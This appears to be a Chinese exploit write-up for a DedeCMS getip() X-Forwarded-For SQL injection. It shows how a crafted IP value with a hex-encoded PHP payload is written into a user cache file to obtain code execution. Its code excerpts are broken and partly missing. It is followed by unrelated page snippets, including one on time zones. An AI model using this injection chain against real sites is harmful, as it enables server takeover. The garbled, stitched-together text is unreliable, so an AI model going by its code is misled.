flyh4t在非安全發布了dedecms getip()的注射漏洞,漏洞本身的成因沒什麼好說的老掉牙的x-forwarded-for的問題,我想這個漏洞很多人都找到了,不過這個漏洞的利用有個地方還是可以說說的,可以直接得到shell:
在使用者登陸後把使用者資訊寫如了快取:\include\inc_memberlogin.php
function fushcache($mid=0)
' ");
if(is_array($row))
order by integral desc");
$row['honor'] = $scrow['titles'];
}if(is_array($row)) return writeuserinfos($mid,$row); //這裡
else return '';
}writeuserinfos()的**:
//寫入使用者的會話資訊
function writeuserinfos($uid,$row)
$userfile = $ndir.$uid.'.php';
$infos = "<"."?php\r\n";
$infos .= "\$cfg_userinfos['wtime'] = '".mytime()."';\r\n";
foreach($row as $k=>$v)'] = '';\r\n";}}
$infos .= "\r\n?".">";
@$fp = fopen($userfile,'w');
@flock($fp);
@fwrite($fp,$infos);
@fclose($fp);
return $infos;
}我們構造$ipp="121.11.11.1',uname=0x68656967655c273b706870696e666f28293b2f2f,uptime='1";
mysql> select 0x68656967655c273b706870696e666f28293b2f2f;
+--------------------------------------------+
| 0x68656967655c273b706870696e666f28293b2f2f |
+--------------------------------------------+
| heige\';phpinfo();// |
+--------------------------------------------+
1 row in set (0.00 sec)
利用流程:
a:else';");
b:fushcache()
$row = $dsql->getone("select id,userid,pwd,type,uname,membertype,money,uptime,exptime,scores,newpm from member where id='' ");
c:writeuserinfos()
heige\';phpinfo();// ---str_replace-->heige\\';phpinfo();//---fwrite--->heige\\';phpinfo();//
===>$cfg_userinfos['uname'] = 'heige\\';phpinfo();//'; 完美閉和前面的' :)
其中str_replace的部分相當於**:
<?php
$v="heige\';phpinfo();//";
$v = str_replace("'","\\'",$v);
print $v;
?>
整個過程其實就是乙個很完整的"二次攻擊",而str_replace("'","\\'",$v);起了關鍵性的作用.
漏洞的分類
按照漏洞的形成原因,漏洞大體上可以分為程式邏輯結構漏洞 程式設計錯誤漏洞 開放式協議造成的漏洞和人為因素造成的漏洞。按照漏洞被人掌握的情況,漏洞又可以分為已知漏洞 未知漏洞和 0day 等幾種型別。這種型別的漏洞有可能是程式設計人員在編寫程式時,因為程式的邏輯設計不合理或者錯誤而造成的程式邏輯漏洞。...
時區的漏洞
時區的漏洞 地球是自西向東自轉,東邊比西邊先看到太陽,東邊的時間也比西邊的早。東邊時刻與西邊時刻的差值不僅 要以時計,而且還要以分和秒來計算,這給人們帶來不便。為了克服時間上的混亂,1884年在華盛頓召開的一次國際經度會議 又稱國際子午線會議 上,規定將全球劃分為24個時區 東 西各12個時區 規定...
漏洞之檔案包含漏洞
在專案中為了更好地使用 的重用性,引入了檔案包含函式,可以通過檔案包含函式將檔案包含進來,直接使用包含檔案的 完成類似python中的import功能。在包含檔案時候,為了靈活包含檔案,將被包含檔案設定為變數,通過動態變數來引入需要包含的檔案時,使用者可以對變數的值可控而伺服器端未對變數值進行合理地...